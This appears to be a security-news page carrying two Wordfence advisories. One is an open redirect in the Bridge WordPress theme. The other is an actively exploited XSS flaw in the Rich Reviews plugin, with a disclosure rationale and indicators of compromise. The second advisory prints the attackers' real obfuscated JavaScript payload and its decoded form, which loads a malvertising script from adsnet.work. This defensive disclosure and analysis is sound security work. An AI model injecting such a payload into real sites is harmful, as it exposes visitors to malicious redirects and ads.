Updating these plugins first requires users to update the Bridge theme. This is done either by manually downloading and installing an updated copy of the theme from ThemeForest, or by using the Envato Market plugin which also comes bundled with the Bridge theme to update from within the WordPress dashboard.

Screenshot of the Envato Market plugin’s API setup process.

Once the Envato Market plugin is installed, you can open its menu in the dashboard and set up your site’s API access to the Envato Marketplace. This will require you to log in to the account you used to purchase the Bridge theme and generate an access token using the steps they provide.

Once the API connection has been established, the theme can be updated. Unfortunately, the need to update isn’t made particularly obvious from most of the dashboard, as it doesn’t interact with WordPress’s built-in update notification system. Instead, you’ll see the update available within the Theme selector (Appearance -> Themes), or within the Themes tab of the Envato Market options page.

Screenshot of the WordPress theme selector showing an update available for Bridge.

Once Bridge has been updated, users may see a nag notification telling them their built-in plugins need to be updated, but if they ignore or dismiss it there’s no persistent indication that an update is available. If users open their plugins page, they won’t see a typical update notice. The individual plugin entries will show an “Update Required” link, however.

Screenshot of a WordPress plugin management page, showing several Qode plugins with “Update Required” links.

Short-Term Fix: Delete The Scripts

In the event that updating your site’s Bridge theme isn’t immediately possible, such as cases where a one-time developer installed it before vanishing into the wind, it’s easy to resolve the security issues present in these plugins without updating anything else.

Since the vulnerable files aren’t actually used or referenced in the plugins themselves, users can simply delete instagram-redirect.php and twitter-redirect.php from their sites without causing any problems. While it’s still always recommended that users update their themes and plugins, removing these files will still mitigate security concerns in the meantime.

Disclosure Timeline

  • 09/19/19 – Vendor notified of issue
  • 09/23/19 – Vendor acknowledged issue and proposed patch
  • 10/16/19 – Patched version released

 

The post Open Redirect Vulnerability Patched In Bridge Theme appeared first on Wordfence.

Read More

Zero Day Vulnerability in Rich Reviews Plugin Exploited In The Wild

Description: XSS Via Unauthenticated Plugin Options Update
Affected Plugin: Rich Reviews
Affected Versions: <= 1.7.4
CVSS Score: 8.3 (High)
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

The Wordfence Threat Intelligence team is tracking a series of attacks against an unpatched vulnerability in the Rich Reviews plugin for WordPress. The estimated 16,000 sites running the plugin are vulnerable to unauthenticated plugin option updates, which can be used to deliver stored cross-site scripting (XSS) payloads.

Attackers are currently abusing this exploit chain to inject malvertising code into target websites. The malvertising code creates redirects and popup ads. Our team has been tracking this attack campaign since April of this year. You can find additional research covering this attack campaign, published by us in April and again in August of this year.

The Wordfence firewall already has built-in rules that reliably block the XSS injections in this campaign, both for Premium users and those who haven’t upgraded yet. In addition to this, we have released a new firewall rule for our Premium customers to prevent attackers from making configuration changes, such as removing the need for review approval, or defacing certain text elements.

This new Wordfence firewall rule prevents manipulation of the plugin’s settings and has been automatically deployed to our Wordfence Premium customers. The new rule will be released to free users within 30 days.

The plugin’s developers are aware of this vulnerability, but there is no patch currently available. Please see our notes on disclosure below. We recommend users find an alternative solution as soon as possible, or remove the Rich Reviews plugin from your site.

The vulnerability in this plugin is being actively exploited. The Wordfence team is seeing this in our attack data and our Security Services Team has assisted customers of our site cleaning service who have had their site compromised by an attacker who exploited this vulnerability.

Why We Are Disclosing Today

Our published disclosure policy is to ensure that developers have 7 days to fix an actively exploited vulnerability. The Rich Reviews plugin was removed from the WordPress repository 6 months ago. That means that, even if the developers release a fix, customers will not be able to update until the plugin is reinstated in the repository. We saw this forum post 5 days ago describing another site being infected via this vulnerability. At that time the developers responded with the following:

We’ve been working on an overall rewrite of this plugin for a while now, but someone out there apparently wanted us to work faster on it, and decided to exploit our plugin to get some malware out there. We’re now going double-quick on it, and hope to have it back up (and newly cozy and secure) within the next two weeks.

In view of the active exploitation that is affecting the WordPress community, the removal of the plugin from the repository, the inability for WordPress sites to update if a fix is released, and the vague timeline expressed by the developer, we have made the decision to disclose the details of this vulnerability now so that the community can protect themselves immediately.

The Vulnerability At A Glance

The two core issues in the Rich Reviews plugin are a lack of access controls for modifying the plugin’s options, and a subsequent lack of sanitization on the values of those options.

To perform options updates, the plugin checks for the presence of the POST body parameter update. If the expected value is present, the plugin iterates through other options passed through POST and updates their values as needed. Unfortunately, this check is made every time the plugin’s RichReviews class is instantiated regardless of user permissions or the current path. This means all incoming requests are capable of performing these changes.

A number of the vulnerable option values are responsible for customizing text displayed by the plugin. Improper sanitization of these values allows attackers to inject JavaScript payloads which can be triggered by visitors as well as logged-in administrators.

The Attack Campaign

While performing forensic review of an infected site, a security analyst with our site cleaning team identified suspicious log activity associated with the Rich Reviews plugin.

183.90.250.26 - [redacted] "POST /wp-admin/admin-post.php?page=fp_admin_options_page HTTP/1.0" 200 - "-" "-"

An interesting note regarding this log entry is the inclusion of the plugin’s admin-post.php page string. This type of request is commonly seen in cases where an is_admin check is improperly used to test a user’s permissions, such as in this example from earlier this year. However, that workaround is unnecessary in this case, where all incoming requests are checked for options updates regardless of path.

The payloads injected by these attackers are directly associated with a malvertising campaign we’ve reported on previously:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 97, 100, 115, 110, 101, 116, 46, 119, 111, 114, 107, 47, 115, 99, 114, 105, 112, 116, 115, 47, 112, 108, 97, 99, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

The obfuscated payload above executes the following script:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://adsnet.work/scripts/place.js";
document.getElementsByTagName('head')[0].appendChild(script);

This XSS payload is nearly identical to those we’ve identified in this campaign before. The sourced third-party script place.js is similar to others we’ve seen in this malvertising campaign as well, which could trigger popup ads and unwanted redirects.

Indicators of Compromise (IOCs)

Our Threat Intelligence Team releases indicators of compromise where feasible so that other security vendors can add detection capability to their products and provide protection to their customers. The following are IOCs that we have observed associated with this attack campaign.

IP Addresses

The following IP addresses are linked to malicious activity against this vulnerability:

  • 94.229.170.38
  • 183.90.250.26
  • 69.27.116.3

Domain Names

  • adsnet.work – Hosts malicious scripts sourced by XSS injections.
    • Outbound DNS requests to this domain suggest a user on your network may have triggered a potentially dangerous redirect.

Database Content

Injected content will be present in the options table of your WordPress database, with the name rr_options.

Conclusion

Rich Reviews, a plugin with an estimated 16,000 users, was removed from the WordPress plugin repository in March for security reasons. The current version of the plugin contains a highly exploitable options update vulnerability that can be used to inject a stored XSS payload into vulnerable sites. We have identified a known malvertising campaign abusing vulnerable sites in order to deliver popup ads and potentially dangerous redirects.

Wordfence users, both Premium and those still on Free, are already protected from the attacks in this campaign due to the firewall’s robust XSS protection. There is potential for non-XSS abuse of this vulnerability, however, which has prompted us to release a new firewall rule. Wordfence Premium users have received an automatic update containing this new rule, while free users will receive an  update in thirty days.

The plugin’s developers have acknowledged the presence of these issues, but have provided an estimate of two weeks to resolve these vulnerabilities. Due to the length of this patch process and in light of the fact that the plugin has been removed from the official WordPress plugin repository, it is recommended that Rich Reviews users find an alternative solution to ensure the security of their sites.

Please consider sharing this post to help create awareness of this security issue.

The post Zero Day Vulnerability in Rich Reviews Plugin Exploited In The Wild appeared first on Wordfence.

Read More
Page 1 of 512345»